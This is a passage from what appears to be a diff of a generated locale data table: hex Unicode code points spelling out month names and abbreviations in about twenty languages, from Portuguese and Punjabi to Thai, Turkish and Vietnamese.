0x4a, 0x75, 0x6c, 0x68, 0x6f, 0x3b, +0x41, 0x67, 0x6f, 0x73, 0x74, 0x6f, 0x3b, 0x53, 0x65, 0x74, 0x65, 0x6d, 0x62, 0x72, 0x6f, 0x3b, 0x4f, 0x75, 0x74, 0x75, +0x62, 0x72, 0x6f, 0x3b, 0x4e, 0x6f, 0x76, 0x65, 0x6d, 0x62, 0x72, 0x6f, 0x3b, 0x44, 0x65, 0x7a, 0x65, 0x6d, 0x62, 0x72, +0x6f, 0x3b, 0x6a, 0x61, 0x6e, 0x3b, 0x66, 0x65, 0x76, 0x3b, 0x6d, 0x61, 0x72, 0x3b, 0x61, 0x62, 0x72, 0x3b, 0x6d, 0x61, +0x69, 0x3b, 0x6a, 0x75, 0x6e, 0x3b, 0x6a, 0x75, 0x6c, 0x3b, 0x61, 0x67, 0x6f, 0x3b, 0x73, 0x65, 0x74, 0x3b, 0x6f, 0x75, +0x74, 0x3b, 0x6e, 0x6f, 0x76, 0x3b, 0x64, 0x65, 0x7a, 0x3b, 0x6a, 0x61, 0x6e, 0x65, 0x69, 0x72, 0x6f, 0x3b, 0x66, 0x65, +0x76, 0x65, 0x72, 0x65, 0x69, 0x72, 0x6f, 0x3b, 0x6d, 0x61, 0x72, 0xe7, 0x6f, 0x3b, 0x61, 0x62, 0x72, 0x69, 0x6c, 0x3b, +0x6d, 0x61, 0x69, 0x6f, 0x3b, 0x6a, 0x75, 0x6e, 0x68, 0x6f, 0x3b, 0x6a, 0x75, 0x6c, 0x68, 0x6f, 0x3b, 0x61, 0x67, 0x6f, +0x73, 0x74, 0x6f, 0x3b, 0x73, 0x65, 0x74, 0x65, 0x6d, 0x62, 0x72, 0x6f, 0x3b, 0x6f, 0x75, 0x74, 0x75, 0x62, 0x72, 0x6f, +0x3b, 0x6e, 0x6f, 0x76, 0x65, 0x6d, 0x62, 0x72, 0x6f, 0x3b, 0x64, 0x65, 0x7a, 0x65, 0x6d, 0x62, 0x72, 0x6f, 0x3b, 0xa1c, +0xa28, 0xa35, 0xa30, 0xa40, 0x3b, 0xa2b, 0xa3c, 0xa30, 0xa35, 0xa30, 0xa40, 0x3b, 0xa2e, 0xa3e, 0xa30, 0xa1a, 0x3b, 0xa05, 0xa2a, 0xa4d, +0xa30, 0xa48, 0xa32, 0x3b, 0xa2e, 0xa08, 0x3b, 0xa1c, 0xa42, 0xa28, 0x3b, 0xa1c, 0xa41, 0xa32, 0xa3e, 0xa08, 0x3b, 0xa05, 0xa17, 0xa38, +0xa24, 0x3b, 0xa38, 0xa24, 0xa70, 0xa2c, 0xa30, 0x3b, 0xa05, 0xa15, 0xa24, 0xa42, 0xa2c, 0xa30, 0x3b, 0xa28, 0xa35, 0xa70, 0xa2c, 0xa30, +0x3b, 0xa26, 0xa38, 0xa70, 0xa2c, 0xa30, 0x3b, 0xa1c, 0x3b, 0xa2b, 0x3b, 0xa2e, 0xa3e, 0x3b, 0xa05, 0x3b, 0xa2e, 0x3b, 0xa1c, 0xa42, +0x3b, 0xa1c, 0xa41, 0x3b, 0xa05, 0x3b, 0xa38, 0x3b, 0xa05, 0x3b, 0xa28, 0x3b, 0xa26, 0x3b, 0x62c, 0x646, 0x648, 0x631, 0x6cc, 0x3b, +0x641, 0x631, 0x648, 0x631, 0x6cc, 0x3b, 0x645, 0x627, 0x631, 0x686, 0x3b, 0x627, 0x67e, 0x631, 0x6cc, 0x644, 0x3b, 0x645, 0x626, 0x3b, +0x62c, 0x648, 0x646, 0x3b, 0x62c, 0x648, 0x644, 0x627, 0x626, 0x6cc, 0x3b, 0x627, 0x6af, 0x633, 0x62a, 0x3b, 0x633, 0x62a, 0x645, 0x628, +0x631, 0x3b, 0x627, 0x6a9, 0x62a, 0x648, 0x628, 0x631, 0x3b, 0x646, 0x648, 0x645, 0x628, 0x631, 0x3b, 0x62f, 0x633, 0x645, 0x628, 0x631, +0x3b, 0x73, 0x63, 0x68, 0x61, 0x6e, 0x2e, 0x3b, 0x66, 0x61, 0x76, 0x72, 0x2e, 0x3b, 0x6d, 0x61, 0x72, 0x73, 0x3b, 0x61, +0x76, 0x72, 0x2e, 0x3b, 0x6d, 0x61, 0x74, 0x67, 0x3b, 0x7a, 0x65, 0x72, 0x63, 0x6c, 0x2e, 0x3b, 0x66, 0x61, 0x6e, 0x2e, +0x3b, 0x61, 0x76, 0x75, 0x73, 0x74, 0x3b, 0x73, 0x65, 0x74, 0x74, 0x2e, 0x3b, 0x6f, 0x63, 0x74, 0x2e, 0x3b, 0x6e, 0x6f, +0x76, 0x2e, 0x3b, 0x64, 0x65, 0x63, 0x2e, 0x3b, 0x73, 0x63, 0x68, 0x61, 0x6e, 0x65, 0x72, 0x3b, 0x66, 0x61, 0x76, 0x72, +0x65, 0x72, 0x3b, 0x6d, 0x61, 0x72, 0x73, 0x3b, 0x61, 0x76, 0x72, 0x69, 0x67, 0x6c, 0x3b, 0x6d, 0x61, 0x74, 0x67, 0x3b, +0x7a, 0x65, 0x72, 0x63, 0x6c, 0x61, 0x64, 0x75, 0x72, 0x3b, 0x66, 0x61, 0x6e, 0x61, 0x64, 0x75, 0x72, 0x3b, 0x61, 0x76, +0x75, 0x73, 0x74, 0x3b, 0x73, 0x65, 0x74, 0x74, 0x65, 0x6d, 0x62, 0x65, 0x72, 0x3b, 0x6f, 0x63, 0x74, 0x6f, 0x62, 0x65, 0x72, 0x3b, 0x6e, 0x6f, 0x76, 0x65, 0x6d, 0x62, 0x65, 0x72, 0x3b, 0x64, 0x65, 0x63, 0x65, 0x6d, 0x62, 0x65, 0x72, 0x3b, -0x6a, 0x61, 0x6e, 0x75, 0x61, 0x72, 0x3b, 0x66, 0x65, 0x62, 0x72, 0x75, 0x61, 0x72, 0x3b, 0x6d, 0x61, 0x72, 0x65, 0x63, -0x3b, 0x61, 0x70, 0x72, 0x69, 0x6c, 0x3b, 0x6d, 0x61, 0x6a, 0x3b, 0x6a, 0x75, 0x6e, 0x69, 0x6a, 0x3b, 0x6a, 0x75, 0x6c, -0x69, 0x6a, 0x3b, 0x61, 0x76, 0x67, 0x75, 0x73, 0x74, 0x3b, 0x73, 0x65, 0x70, 0x74, 0x65, 0x6d, 0x62, 0x65, 0x72, 0x3b, -0x6f, 0x6b, 0x74, 0x6f, 0x62, 0x65, 0x72, 0x3b, 0x6e, 0x6f, 0x76, 0x65, 0x6d, 0x62, 0x65, 0x72, 0x3b, 0x64, 0x65, 0x63, -0x65, 0x6d, 0x62, 0x65, 0x72, 0x3b, 0x4b, 0x6f, 0x62, 0x3b, 0x4c, 0x61, 0x62, 0x3b, 0x53, 0x61, 0x64, 0x3b, 0x41, 0x66, -0x72, 0x3b, 0x53, 0x68, 0x61, 0x3b, 0x4c, 0x69, 0x78, 0x3b, 0x54, 0x6f, 0x64, 0x3b, 0x53, 0x69, 0x64, 0x3b, 0x53, 0x61, -0x67, 0x3b, 0x54, 0x6f, 0x62, 0x3b, 0x4b, 0x49, 0x54, 0x3b, 0x4c, 0x49, 0x54, 0x3b, 0x42, 0x69, 0x73, 0x68, 0x61, 0x20, -0x4b, 0x6f, 0x6f, 0x62, 0x61, 0x61, 0x64, 0x3b, 0x42, 0x69, 0x73, 0x68, 0x61, 0x20, 0x4c, 0x61, 0x62, 0x61, 0x61, 0x64, -0x3b, 0x42, 0x69, 0x73, 0x68, 0x61, 0x20, 0x53, 0x61, 0x64, 0x64, 0x65, 0x78, 0x61, 0x61, 0x64, 0x3b, 0x42, 0x69, 0x73, -0x68, 0x61, 0x20, 0x41, 0x66, 0x72, 0x61, 0x61, 0x64, 0x3b, 0x42, 0x69, 0x73, 0x68, 0x61, 0x20, 0x53, 0x68, 0x61, 0x6e, -0x61, 0x61, 0x64, 0x3b, 0x42, 0x69, 0x73, 0x68, 0x61, 0x20, 0x4c, 0x69, 0x78, 0x61, 0x61, 0x64, 0x3b, 0x42, 0x69, 0x73, -0x68, 0x61, 0x20, 0x54, 0x6f, 0x64, 0x6f, 0x62, 0x61, 0x61, 0x64, 0x3b, 0x42, 0x69, 0x73, 0x68, 0x61, 0x20, 0x53, 0x69, -0x64, 0x65, 0x65, 0x64, 0x61, 0x61, 0x64, 0x3b, 0x42, 0x69, 0x73, 0x68, 0x61, 0x20, 0x53, 0x61, 0x67, 0x61, 0x61, 0x6c, -0x61, 0x61, 0x64, 0x3b, 0x42, 0x69, 0x73, 0x68, 0x61, 0x20, 0x54, 0x6f, 0x62, 0x6e, 0x61, 0x61, 0x64, 0x3b, 0x42, 0x69, -0x73, 0x68, 0x61, 0x20, 0x4b, 0x6f, 0x77, 0x20, 0x69, 0x79, 0x6f, 0x20, 0x54, 0x6f, 0x62, 0x6e, 0x61, 0x61, 0x64, 0x3b, -0x42, 0x69, 0x73, 0x68, 0x61, 0x20, 0x4c, 0x61, 0x62, 0x61, 0x20, 0x69, 0x79, 0x6f, 0x20, 0x54, 0x6f, 0x62, 0x6e, 0x61, -0x61, 0x64, 0x3b, 0x65, 0x6e, 0x65, 0x3b, 0x66, 0x65, 0x62, 0x3b, 0x6d, 0x61, 0x72, 0x3b, 0x61, 0x62, 0x72, 0x3b, 0x6d, -0x61, 0x79, 0x3b, 0x6a, 0x75, 0x6e, 0x3b, 0x6a, 0x75, 0x6c, 0x3b, 0x61, 0x67, 0x6f, 0x3b, 0x73, 0x65, 0x70, 0x3b, 0x6f, -0x63, 0x74, 0x3b, 0x6e, 0x6f, 0x76, 0x3b, 0x64, 0x69, 0x63, 0x3b, 0x65, 0x6e, 0x65, 0x72, 0x6f, 0x3b, 0x66, 0x65, 0x62, -0x72, 0x65, 0x72, 0x6f, 0x3b, 0x6d, 0x61, 0x72, 0x7a, 0x6f, 0x3b, 0x61, 0x62, 0x72, 0x69, 0x6c, 0x3b, 0x6d, 0x61, 0x79, -0x6f, 0x3b, 0x6a, 0x75, 0x6e, 0x69, 0x6f, 0x3b, 0x6a, 0x75, 0x6c, 0x69, 0x6f, 0x3b, 0x61, 0x67, 0x6f, 0x73, 0x74, 0x6f, -0x3b, 0x73, 0x65, 0x70, 0x74, 0x69, 0x65, 0x6d, 0x62, 0x72, 0x65, 0x3b, 0x6f, 0x63, 0x74, 0x75, 0x62, 0x72, 0x65, 0x3b, -0x6e, 0x6f, 0x76, 0x69, 0x65, 0x6d, 0x62, 0x72, 0x65, 0x3b, 0x64, 0x69, 0x63, 0x69, 0x65, 0x6d, 0x62, 0x72, 0x65, 0x3b, -0x4a, 0x61, 0x6e, 0x3b, 0x46, 0x65, 0x62, 0x3b, 0x4d, 0x61, 0x63, 0x3b, 0x41, 0x70, 0x72, 0x3b, 0x4d, 0x65, 0x69, 0x3b, -0x4a, 0x75, 0x6e, 0x3b, 0x4a, 0x75, 0x6c, 0x3b, 0x41, 0x67, 0x6f, 0x3b, 0x53, 0x65, 0x70, 0x3b, 0x4f, 0x6b, 0x74, 0x3b, -0x4e, 0x6f, 0x76, 0x3b, 0x44, 0x65, 0x73, 0x3b, 0x4a, 0x61, 0x6e, 0x75, 0x61, 0x72, 0x69, 0x3b, 0x46, 0x65, 0x62, 0x72, -0x75, 0x61, 0x72, 0x69, 0x3b, 0x4d, 0x61, 0x63, 0x68, 0x69, 0x3b, 0x41, 0x70, 0x72, 0x69, 0x6c, 0x69, 0x3b, 0x4d, 0x65, -0x69, 0x3b, 0x4a, 0x75, 0x6e, 0x69, 0x3b, 0x4a, 0x75, 0x6c, 0x61, 0x69, 0x3b, 0x41, 0x67, 0x6f, 0x73, 0x74, 0x69, 0x3b, -0x53, 0x65, 0x70, 0x74, 0x65, 0x6d, 0x62, 0x61, 0x3b, 0x4f, 0x6b, 0x74, 0x6f, 0x62, 0x61, 0x3b, 0x4e, 0x6f, 0x76, 0x65, -0x6d, 0x62, 0x61, 0x3b, 0x44, 0x65, 0x73, 0x65, 0x6d, 0x62, 0x61, 0x3b, 0x6a, 0x61, 0x6e, 0x75, 0x61, 0x72, 0x69, 0x3b, -0x66, 0x65, 0x62, 0x72, 0x75, 0x61, 0x72, 0x69, 0x3b, 0x6d, 0x61, 0x72, 0x73, 0x3b, 0x61, 0x70, 0x72, 0x69, 0x6c, 0x3b, -0x6d, 0x61, 0x6a, 0x3b, 0x6a, 0x75, 0x6e, 0x69, 0x3b, 0x6a, 0x75, 0x6c, 0x69, 0x3b, 0x61, 0x75, 0x67, 0x75, 0x73, 0x74, -0x69, 0x3b, 0x73, 0x65, 0x70, 0x74, 0x65, 0x6d, 0x62, 0x65, 0x72, 0x3b, 0x6f, 0x6b, 0x74, 0x6f, 0x62, 0x65, 0x72, 0x3b, -0x6e, 0x6f, 0x76, 0x65, 0x6d, 0x62, 0x65, 0x72, 0x3b, 0x64, 0x65, 0x63, 0x65, 0x6d, 0x62, 0x65, 0x72, 0x3b, 0x42f, 0x43d, -0x432, 0x3b, 0x424, 0x435, 0x432, 0x3b, 0x41c, 0x430, 0x440, 0x3b, 0x410, 0x43f, 0x440, 0x3b, 0x41c, 0x430, 0x439, 0x3b, 0x418, 0x44e, -0x43d, 0x3b, 0x418, 0x44e, 0x43b, 0x3b, 0x410, 0x432, 0x433, 0x3b, 0x421, 0x435, 0x43d, 0x3b, 0x41e, 0x43a, 0x442, 0x3b, 0x41d, 0x43e, -0x44f, 0x3b, 0x414, 0x435, 0x43a, 0x3b, 0x42f, 0x43d, 0x432, 0x430, 0x440, 0x3b, 0x424, 0x435, 0x432, 0x440, 0x430, 0x43b, 0x3b, 0x41c, -0x430, 0x440, 0x442, 0x3b, 0x410, 0x43f, 0x440, 0x435, 0x43b, 0x3b, 0x41c, 0x430, 0x439, 0x3b, 0x418, 0x44e, 0x43d, 0x3b, 0x418, 0x44e, -0x43b, 0x3b, 0x410, 0x432, 0x433, 0x443, 0x441, 0x442, 0x3b, 0x421, 0x435, 0x43d, 0x442, 0x44f, 0x431, 0x440, 0x3b, 0x41e, 0x43a, 0x442, -0x44f, 0x431, 0x440, 0x3b, 0x41d, 0x43e, 0x44f, 0x431, 0x440, 0x3b, 0x414, 0x435, 0x43a, 0x430, 0x431, 0x440, 0x3b, 0xb9c, 0xba9, 0x2e, -0x3b, 0xbaa, 0xbbf, 0xbaa, 0xbcd, 0x2e, 0x3b, 0xbae, 0xbbe, 0xbb0, 0xbcd, 0x2e, 0x3b, 0xb8f, 0xbaa, 0xbcd, 0x2e, 0x3b, 0xbae, 0xbc7, -0x3b, 0xb9c, 0xbc2, 0xba9, 0xbcd, 0x3b, 0xb9c, 0xbc2, 0xbb2, 0xbc8, 0x3b, 0xb86, 0xb95, 0x2e, 0x3b, 0xb9a, 0xbc6, 0xbaa, 0xbcd, 0x2e, -0x3b, 0xb85, 0xb95, 0xbcd, 0x2e, 0x3b, 0xba8, 0xbb5, 0x2e, 0x3b, 0xb9f, 0xbbf, 0xb9a, 0x2e, 0x3b, 0xb9c, 0xba9, 0xbb5, 0xbb0, 0xbbf, -0x3b, 0xbaa, 0xbbf, 0xbaa, 0xbcd, 0xbb0, 0xbb5, 0xbb0, 0xbbf, 0x3b, 0xbae, 0xbbe, 0xbb0, 0xbcd, 0xb9a, 0xbcd, 0x3b, 0xb8f, 0xbaa, 0xbcd, -0xbb0, 0xbb2, 0xbcd, 0x3b, 0xbae, 0xbc7, 0x3b, 0xb9c, 0xbc2, 0xba9, 0xbcd, 0x3b, 0xb9c, 0xbc2, 0xbb2, 0xbc8, 0x3b, 0xb86, 0xb95, 0xbb8, -0xbcd, 0xb9f, 0xbcd, 0x3b, 0xb9a, 0xbc6, 0xbaa, 0xbcd, 0xb9f, 0xbae, 0xbcd, 0xbaa, 0xbb0, 0xbcd, 0x3b, 0xb85, 0xb95, 0xbcd, 0xb9f, 0xbcb, -0xbaa, 0xbb0, 0xbcd, 0x3b, 0xba8, 0xbb5, 0xbae, 0xbcd, 0xbaa, 0xbb0, 0xbcd, 0x3b, 0xb9f, 0xbbf, 0xb9a, 0xbae, 0xbcd, 0xbaa, 0xbb0, 0xbcd, -0x3b, 0xc1c, 0xc28, 0xc35, 0xc30, 0xc3f, 0x3b, 0xc2b, 0xc3f, 0xc2c, 0xc4d, 0xc30, 0xc35, 0xc30, 0xc3f, 0x3b, 0xc2e, 0xc3e, 0xc30, 0xc4d, -0xc1a, 0xc3f, 0x3b, 0xc0f, 0xc2a, 0xc4d, 0xc30, 0xc3f, 0xc32, 0xc4d, 0x3b, 0xc2e, 0xc47, 0x3b, 0xc1c, 0xc42, 0xc28, 0xc4d, 0x3b, 0xc1c, -0xc42, 0xc32, 0xc48, 0x3b, 0xc06, 0xc17, 0xc38, 0xc4d, 0xc1f, 0xc41, 0x3b, 0xc38, 0xc46, 0xc2a, 0xc4d, 0xc1f, 0xc46, 0xc02, 0xc2c, 0xc30, -0xc4d, 0x3b, 0xc05, 0xc15, 0xc4d, 0xc1f, 0xc4b, 0xc2c, 0xc30, 0xc4d, 0x3b, 0xc28, 0xc35, 0xc02, 0xc2c, 0xc30, 0xc4d, 0x3b, 0xc21, 0xc3f, -0xc38, 0xc46, 0xc02, 0xc2c, 0xc30, 0xc4d, 0x3b, 0xe21, 0x2e, 0xe04, 0x2e, 0x3b, 0xe01, 0x2e, 0xe1e, 0x2e, 0x3b, 0xe21, 0xe35, 0x2e, -0xe04, 0x2e, 0x3b, 0xe40, 0xe21, 0x2e, 0xe22, 0x2e, 0x3b, 0xe1e, 0x2e, 0xe04, 0x2e, 0x3b, 0xe21, 0xe34, 0x2e, 0xe22, 0x2e, 0x3b, -0xe01, 0x2e, 0xe04, 0x2e, 0x3b, 0xe2a, 0x2e, 0xe04, 0x2e, 0x3b, 0xe01, 0x2e, 0xe22, 0x2e, 0x3b, 0xe15, 0x2e, 0xe04, 0x2e, 0x3b, -0xe1e, 0x2e, 0xe22, 0x2e, 0x3b, 0xe18, 0x2e, 0xe04, 0x2e, 0x3b, 0xe21, 0xe01, 0xe23, 0xe32, 0xe04, 0xe21, 0x3b, 0xe01, 0xe38, 0xe21, -0xe20, 0xe32, 0xe1e, 0xe31, 0xe19, 0xe18, 0xe4c, 0x3b, 0xe21, 0xe35, 0xe19, 0xe32, 0xe04, 0xe21, 0x3b, 0xe40, 0xe21, 0xe29, 0xe32, 0xe22, -0xe19, 0x3b, 0xe1e, 0xe24, 0xe29, 0xe20, 0xe32, 0xe04, 0xe21, 0x3b, 0xe21, 0xe34, 0xe16, 0xe38, 0xe19, 0xe32, 0xe22, 0xe19, 0x3b, 0xe01, -0xe23, 0xe01, 0xe0e, 0xe32, 0xe04, 0xe21, 0x3b, 0xe2a, 0xe34, 0xe07, 0xe2b, 0xe32, 0xe04, 0xe21, 0x3b, 0xe01, 0xe31, 0xe19, 0xe22, 0xe32, -0xe22, 0xe19, 0x3b, 0xe15, 0xe38, 0xe25, 0xe32, 0xe04, 0xe21, 0x3b, 0xe1e, 0xe24, 0xe28, 0xe08, 0xe34, 0xe01, 0xe32, 0xe22, 0xe19, 0x3b, -0xe18, 0xe31, 0xe19, 0xe27, 0xe32, 0xe04, 0xe21, 0x3b, 0x1325, 0x122a, 0x3b, 0x1208, 0x12ab, 0x1272, 0x3b, 0x1218, 0x130b, 0x1262, 0x3b, 0x121a, -0x12eb, 0x12dd, 0x3b, 0x130d, 0x1295, 0x1266, 0x3b, 0x1230, 0x1290, 0x3b, 0x1213, 0x121d, 0x1208, 0x3b, 0x1290, 0x1213, 0x1230, 0x3b, 0x1218, 0x1235, -0x12a8, 0x3b, 0x1325, 0x1245, 0x121d, 0x3b, 0x1215, 0x12f3, 0x122d, 0x3b, 0x1273, 0x1215, 0x1233, 0x3b, 0x1325, 0x122a, 0x3b, 0x1208, 0x12ab, 0x1272, -0x1275, 0x3b, 0x1218, 0x130b, 0x1262, 0x1275, 0x3b, 0x121a, 0x12eb, 0x12dd, 0x12eb, 0x3b, 0x130d, 0x1295, 0x1266, 0x1275, 0x3b, 0x1230, 0x1290, 0x3b, -0x1213, 0x121d, 0x1208, 0x3b, 0x1290, 0x1213, 0x1230, 0x3b, 0x1218, 0x1235, 0x12a8, 0x1228, 0x121d, 0x3b, 0x1325, 0x1245, 0x121d, 0x1272, 0x3b, 0x1215, -0x12f3, 0x122d, 0x3b, 0x1273, 0x1215, 0x1233, 0x1235, 0x3b, 0x53, 0x101, 0x6e, 0x3b, 0x46, 0x113, 0x70, 0x3b, 0x4d, 0x61, 0x2bb, 0x61, -0x3b, 0x2bb, 0x45, 0x70, 0x65, 0x3b, 0x4d, 0x113, 0x3b, 0x53, 0x75, 0x6e, 0x3b, 0x53, 0x69, 0x75, 0x3b, 0x2bb, 0x41, 0x6f, -0x6b, 0x3b, 0x53, 0x113, 0x70, 0x3b, 0x2bb, 0x4f, 0x6b, 0x61, 0x3b, 0x4e, 0x14d, 0x76, 0x3b, 0x54, 0x69, 0x73, 0x3b, 0x53, -0x101, 0x6e, 0x75, 0x61, 0x6c, 0x69, 0x3b, 0x46, 0x113, 0x70, 0x75, 0x65, 0x6c, 0x69, 0x3b, 0x4d, 0x61, 0x2bb, 0x61, 0x73, -0x69, 0x3b, 0x2bb, 0x45, 0x70, 0x65, 0x6c, 0x65, 0x6c, 0x69, 0x3b, 0x4d, 0x113, 0x3b, 0x53, 0x75, 0x6e, 0x65, 0x3b, 0x53, -0x69, 0x75, 0x6c, 0x61, 0x69, 0x3b, 0x2bb, 0x41, 0x6f, 0x6b, 0x6f, 0x73, 0x69, 0x3b, 0x53, 0x113, 0x70, 0x69, 0x74, 0x65, -0x6d, 0x61, 0x3b, 0x2bb, 0x4f, 0x6b, 0x61, 0x74, 0x6f, 0x70, 0x61, 0x3b, 0x4e, 0x14d, 0x76, 0x65, 0x6d, 0x61, 0x3b, 0x54, -0x69, 0x73, 0x65, 0x6d, 0x61, 0x3b, 0x53, 0x75, 0x6e, 0x3b, 0x59, 0x61, 0x6e, 0x3b, 0x4b, 0x75, 0x6c, 0x3b, 0x44, 0x7a, -0x69, 0x3b, 0x4d, 0x75, 0x64, 0x3b, 0x4b, 0x68, 0x6f, 0x3b, 0x4d, 0x61, 0x77, 0x3b, 0x4d, 0x68, 0x61, 0x3b, 0x4e, 0x64, -0x7a, 0x3b, 0x4e, 0x68, 0x6c, 0x3b, 0x48, 0x75, 0x6b, 0x3b, 0x4e, 0x27, 0x77, 0x3b, 0x53, 0x75, 0x6e, 0x67, 0x75, 0x74, -0x69, 0x3b, 0x4e, 0x79, 0x65, 0x6e, 0x79, 0x65, 0x6e, 0x79, 0x61, 0x6e, 0x69, 0x3b, 0x4e, 0x79, 0x65, 0x6e, 0x79, 0x61, -0x6e, 0x6b, 0x75, 0x6c, 0x75, 0x3b, 0x44, 0x7a, 0x69, 0x76, 0x61, 0x6d, 0x69, 0x73, 0x6f, 0x6b, 0x6f, 0x3b, 0x4d, 0x75, -0x64, 0x79, 0x61, 0x78, 0x69, 0x68, 0x69, 0x3b, 0x4b, 0x68, 0x6f, 0x74, 0x61, 0x76, 0x75, 0x78, 0x69, 0x6b, 0x61, 0x3b, -0x4d, 0x61, 0x77, 0x75, 0x77, 0x61, 0x6e, 0x69, 0x3b, 0x4d, 0x68, 0x61, 0x77, 0x75, 0x72, 0x69, 0x3b, 0x4e, 0x64, 0x7a, -0x68, 0x61, 0x74, 0x69, 0x3b, 0x4e, 0x68, 0x6c, 0x61, 0x6e, 0x67, 0x75, 0x6c, 0x61, 0x3b, 0x48, 0x75, 0x6b, 0x75, 0x72, -0x69, 0x3b, 0x4e, 0x27, 0x77, 0x65, 0x6e, 0x64, 0x7a, 0x61, 0x6d, 0x68, 0x61, 0x6c, 0x61, 0x3b, 0x4f, 0x63, 0x61, 0x3b, -0x15e, 0x75, 0x62, 0x3b, 0x4d, 0x61, 0x72, 0x3b, 0x4e, 0x69, 0x73, 0x3b, 0x4d, 0x61, 0x79, 0x3b, 0x48, 0x61, 0x7a, 0x3b, -0x54, 0x65, 0x6d, 0x3b, 0x41, 0x11f, 0x75, 0x3b, 0x45, 0x79, 0x6c, 0x3b, 0x45, 0x6b, 0x69, 0x3b, 0x4b, 0x61, 0x73, 0x3b, -0x41, 0x72, 0x61, 0x3b, 0x4f, 0x63, 0x61, 0x6b, 0x3b, 0x15e, 0x75, 0x62, 0x61, 0x74, 0x3b, 0x4d, 0x61, 0x72, 0x74, 0x3b, -0x4e, 0x69, 0x73, 0x61, 0x6e, 0x3b, 0x4d, 0x61, 0x79, 0x131, 0x73, 0x3b, 0x48, 0x61, 0x7a, 0x69, 0x72, 0x61, 0x6e, 0x3b, -0x54, 0x65, 0x6d, 0x6d, 0x75, 0x7a, 0x3b, 0x41, 0x11f, 0x75, 0x73, 0x74, 0x6f, 0x73, 0x3b, 0x45, 0x79, 0x6c, 0xfc, 0x6c, -0x3b, 0x45, 0x6b, 0x69, 0x6d, 0x3b, 0x4b, 0x61, 0x73, 0x131, 0x6d, 0x3b, 0x41, 0x72, 0x61, 0x6c, 0x131, 0x6b, 0x3b, 0x441, -0x456, 0x447, 0x2e, 0x3b, 0x43b, 0x44e, 0x442, 0x2e, 0x3b, 0x431, 0x435, 0x440, 0x2e, 0x3b, 0x43a, 0x432, 0x456, 0x442, 0x2e, 0x3b, -0x442, 0x440, 0x430, 0x432, 0x2e, 0x3b, 0x447, 0x435, 0x440, 0x432, 0x2e, 0x3b, 0x43b, 0x438, 0x43f, 0x2e, 0x3b, 0x441, 0x435, 0x440, -0x43f, 0x2e, 0x3b, 0x432, 0x435, 0x440, 0x2e, 0x3b, 0x436, 0x43e, 0x432, 0x442, 0x2e, 0x3b, 0x43b, 0x438, 0x441, 0x442, 0x2e, 0x3b, -0x433, 0x440, 0x443, 0x434, 0x2e, 0x3b, 0x441, 0x456, 0x447, 0x43d, 0x44f, 0x3b, 0x43b, 0x44e, 0x442, 0x43e, 0x433, 0x43e, 0x3b, 0x431, -0x435, 0x440, 0x435, 0x437, 0x43d, 0x44f, 0x3b, 0x43a, 0x432, 0x456, 0x442, 0x43d, 0x44f, 0x3b, 0x442, 0x440, 0x430, 0x432, 0x43d, 0x44f, -0x3b, 0x447, 0x435, 0x440, 0x432, 0x43d, 0x44f, 0x3b, 0x43b, 0x438, 0x43f, 0x43d, 0x44f, 0x3b, 0x441, 0x435, 0x440, 0x43f, 0x43d, 0x44f, -0x3b, 0x432, 0x435, 0x440, 0x435, 0x441, 0x43d, 0x44f, 0x3b, 0x436, 0x43e, 0x432, 0x442, 0x43d, 0x44f, 0x3b, 0x43b, 0x438, 0x441, 0x442, -0x43e, 0x43f, 0x430, 0x434, 0x430, 0x3b, 0x433, 0x440, 0x443, 0x434, 0x43d, 0x44f, 0x3b, 0x62c, 0x646, 0x648, 0x631, 0x6cc, 0x3b, 0x641, -0x631, 0x648, 0x631, 0x6cc, 0x3b, 0x645, 0x627, 0x631, 0x20, 0x686, 0x3b, 0x627, 0x67e, 0x631, 0x64a, 0x644, 0x3b, 0x645, 0x626, 0x3b, -0x62c, 0x648, 0x646, 0x3b, 0x62c, 0x648, 0x644, 0x627, 0x626, 0x3b, 0x627, 0x6af, 0x633, 0x62a, 0x3b, 0x633, 0x62a, 0x645, 0x628, 0x631, -0x3b, 0x627, 0x6a9, 0x62a, 0x648, 0x628, 0x631, 0x3b, 0x646, 0x648, 0x645, 0x628, 0x631, 0x3b, 0x62f, 0x633, 0x645, 0x628, 0x631, 0x3b, -0x41c, 0x443, 0x4b3, 0x430, 0x440, 0x440, 0x430, 0x43c, 0x3b, 0x421, 0x430, 0x444, 0x430, 0x440, 0x3b, 0x420, 0x430, 0x431, 0x438, 0x443, -0x43b, 0x2d, 0x430, 0x432, 0x432, 0x430, 0x43b, 0x3b, 0x420, 0x430, 0x431, 0x438, 0x443, 0x43b, 0x2d, 0x43e, 0x445, 0x438, 0x440, 0x3b, -0x416, 0x443, 0x43c, 0x43e, 0x434, 0x438, 0x443, 0x43b, 0x2d, 0x443, 0x43b, 0x43e, 0x3b, 0x416, 0x443, 0x43c, 0x43e, 0x434, 0x438, 0x443, -0x43b, 0x2d, 0x443, 0x445, 0x440, 0x43e, 0x3b, 0x420, 0x430, 0x436, 0x430, 0x431, 0x3b, 0x428, 0x430, 0x44a, 0x431, 0x43e, 0x43d, 0x3b, -0x420, 0x430, 0x43c, 0x430, 0x437, 0x43e, 0x43d, 0x3b, 0x428, 0x430, 0x432, 0x432, 0x43e, 0x43b, 0x3b, 0x417, 0x438, 0x43b, 0x2d, 0x49b, -0x430, 0x44a, 0x434, 0x430, 0x3b, 0x417, 0x438, 0x43b, 0x2d, 0x4b3, 0x438, 0x436, 0x436, 0x430, 0x3b, 0x74, 0x68, 0x67, 0x20, 0x31, -0x3b, 0x74, 0x68, 0x67, 0x20, 0x32, 0x3b, 0x74, 0x68, 0x67, 0x20, 0x33, 0x3b, 0x74, 0x68, 0x67, 0x20, 0x34, 0x3b, 0x74, -0x68, 0x67, 0x20, 0x35, 0x3b, 0x74, 0x68, 0x67, 0x20, 0x36, 0x3b, 0x74, 0x68, 0x67, 0x20, 0x37, 0x3b, 0x74, 0x68, 0x67, -0x20, 0x38, 0x3b, 0x74, 0x68, 0x67, 0x20, 0x39, 0x3b, 0x74, 0x68, 0x67, 0x20, 0x31, 0x30, 0x3b, 0x74, 0x68, 0x67, 0x20, -0x31, 0x31, 0x3b, 0x74, 0x68, 0x67, 0x20, 0x31, 0x32, 0x3b, 0x74, 0x68, 0xe1, 0x6e, 0x67, 0x20, 0x6d, 0x1ed9, 0x74, 0x3b, -0x74, 0x68, 0xe1, 0x6e, 0x67, 0x20, 0x68, 0x61, 0x69, 0x3b, 0x74, 0x68, 0xe1, 0x6e, 0x67, 0x20, 0x62, 0x61, 0x3b, 0x74, -0x68, 0xe1, 0x6e, 0x67, 0x20, 0x74, 0x1b0, 0x3b, 0x74, 0x68, 0xe1, 0x6e, 